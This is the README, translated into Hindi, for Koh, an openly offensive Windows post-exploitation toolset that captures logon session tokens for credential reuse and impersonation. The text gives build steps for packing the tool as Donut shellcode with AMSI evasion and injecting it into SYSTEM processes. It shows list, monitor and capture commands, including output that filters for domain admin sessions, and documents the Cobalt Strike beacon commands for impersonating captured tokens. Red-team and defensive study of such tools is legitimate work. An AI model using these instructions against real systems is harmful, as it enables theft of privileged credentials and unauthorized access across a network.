
टोकन रिसाव के माध्यम से विंडोज लॉगऑन सत्र टोकन को कैप्चर करता है ताकि क्रेडेंशियल पुन: उपयोग और प्रतिरूपण को सक्षम किया जा सके, तथा पोस्ट-एक्सप्लॉइटेशन टोकन चोरी के लिए कोबाल्ट स्ट्राइक BOF एकीकरण के साथ।
Koh एक C# और बीकन ऑब्जेक्ट फ़ाइल (BOF) टूलसेट है जो जानबूझकर टोकन/लॉगऑन सत्र रिसाव के माध्यम से उपयोगकर्ता क्रेडेंशियल सामग्री को कैप्चर करने की अनुमति देता है।
कुछ कोड एलाड शमीर के इंटरनल-मोनोलॉग प्रोजेक्ट (कोई लाइसेंस नहीं) के साथ-साथ KB180548 से प्रेरित था। यह संभव क्यों है और Koh का दृष्टिकोण क्या है, इसके लिए इस README का तकनीकी पृष्ठभूमि अनुभाग देखें।
Koh के पीछे की प्रेरणा और इसके दृष्टिकोण की गहरी व्याख्या के लिए, Koh: The Token Stealer पोस्ट देखें।
@harmj0y इस कोड बेस के प्राथमिक लेखक हैं। @tifkin_ ने दृष्टिकोण, BOF कार्यान्वयन और कुछ टोकन यांत्रिकी में मदद की।
Koh BSD 3-Clause लाइसेंस के तहत लाइसेंस प्राप्त है।
Koh "सर्वर" टोकन कैप्चर करता है और नियंत्रण/संचार के लिए नामित पाइप का उपयोग करता है। इसे Donut में लपेटा जा सकता है और किसी भी उच्च-अखंडता SYSTEM प्रक्रिया में इंजेक्ट किया जा सकता है (देखें इनलाइन शेनानिगन्स बग)।
हम Koh के लिए बाइनरी जारी करने की योजना नहीं बना रहे हैं, इसलिए आपको स्वयं संकलन करना होगा :)
Koh को .NET 4.7.2 के विरुद्ध बनाया गया है और यह विज़ुअल स्टूडियो 2019 कम्युनिटी एडिशन के साथ संगत है। बस प्रोजेक्ट .sln खोलें, "रिलीज़" चुनें, और बनाएँ। Koh.exe असेंबली और Koh.bin Donut-निर्मित PIC मुख्य निर्देशिका में आउटपुट होंगे। Donut ब्लॉब x86/x64 दोनों के साथ संगत है, और इसे ./Misc/Donut.exe पर Donut के v0.9.3 का उपयोग करके निम्नलिखित विकल्पों के साथ बनाया गया है:```
[ Instance type : Embedded
[ Entropy : Random names + Encryption
[ Compressed : Xpress Huffman
[ File type : .NET EXE
[ Parameters : capture
[ Target CPU : x86+amd64
[ AMSI/WDLP : abort
Donut का लाइसेंस BSD 3-क्लॉज़ है।
### उपयोग
`Koh.exe Koh.exe <list | monitor | capture> [GroupSID... GroupSID2 ...]`
* **list** - (गैर-नेटवर्क) लॉगऑन सत्रों की सूची देता है
* **monitor** - नए/अद्वितीय (गैर-नेटवर्क) लॉगऑन सत्रों की निगरानी करता है
* **capture** - नए (गैर-नेटवर्क) लॉगऑन सत्रों के लिए पाए गए प्रति SID एक अद्वितीय टोकन कैप्चर करता है
ग्रुप SIDs को कमांड लाइन पर भी प्रदान किया जा सकता है, जिससे Koh केवल उन लॉगऑन सत्रों की निगरानी/कैप्चर करता है जिनमें उनकी वार्तालापित टोकन जानकारी में निर्दिष्ट ग्रुप SIDs शामिल हों।
### उदाहरण - लॉगऑन सत्रों की सूची बनाना```
C:\Temp>Koh.exe list
__ ___ ______ __ __
| |/ / / __ \ | | | |
| ' / | | | | | |__| |
| < | | | | | __ |
| . \ | `--' | | | | |
|__|\__\ \______/ |__| |__|
v1.0.0
[*] Command: list
[*] Elevated to SYSTEM
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\testuser
LUID : 207990196
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1119
Origin LUID : 1677733 (0x1999a5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492692
LogonType : Interactive
AuthPackage : Negotiate
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492608
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\harmj0y
LUID : 1677733
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1104
Origin LUID : 999 (0x3e7)
केवल उन परिणामों को सूचीबद्ध करता है जिनके टोकन जानकारी में domain admins (-512) group SID है:``` C:\Temp>Koh.exe monitor S-1-5-21-937929760-3187473010-80948926-512
| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0
[*] Command: monitor
[*] Starting server with named pipe: imposecost
[*] Elevated to SYSTEM
[*] Targeting group SIDs: S-1-5-21-937929760-3187473010-80948926-512
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492608 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Origin LUID : 999 (0x3e7)
## Koh क्लाइंट
वर्तमान उपयोग करने योग्य क्लाइंट एक बीकन ऑब्जेक्ट फ़ाइल है जो `.\Clients\BOF\` पर है। अपने Cobalt Strike क्लाइंट में `.\Clients\BOF\KohClient.cna` आक्रामक स्क्रिप्ट लोड करें ताकि Koh सर्वर के BOF नियंत्रण को सक्षम किया जा सके। कैप्चर किए गए टोकन का उपयोग करने के लिए एकमात्र आवश्यकता **SeImpersonatePrivilege** है। संचार नामित पाइप में "Everyone" DACL है लेकिन एक बुनियादी साझा पासवर्ड (super securez) का उपयोग करता है।
Linux पर Mingw का उपयोग करके ताजा संकलन करने के लिए, `.\Clients\BOF\build.sh` स्क्रिप्ट देखें। (कम से कम Debian पर) एकमात्र आवश्यकता `apt-get install gcc-mingw-w64` होनी चाहिए।
### उपयोग```
beacon> help koh
koh list - lists captured tokens
koh groups LUID - lists the group SIDs for a captured token
koh filter list - lists the group SIDs used for capture filtering
koh filter add SID - adds a group SID for capture filtering
koh filter remove SID - removes a group SID from capture filtering
koh filter reset - resets the SID group capture filter
koh impersonate LUID - impersonates the captured token with the give LUID
koh release all - releases all captured tokens
koh release LUID - releases the captured token for the specified LUID
koh exit - signals the Koh server to exit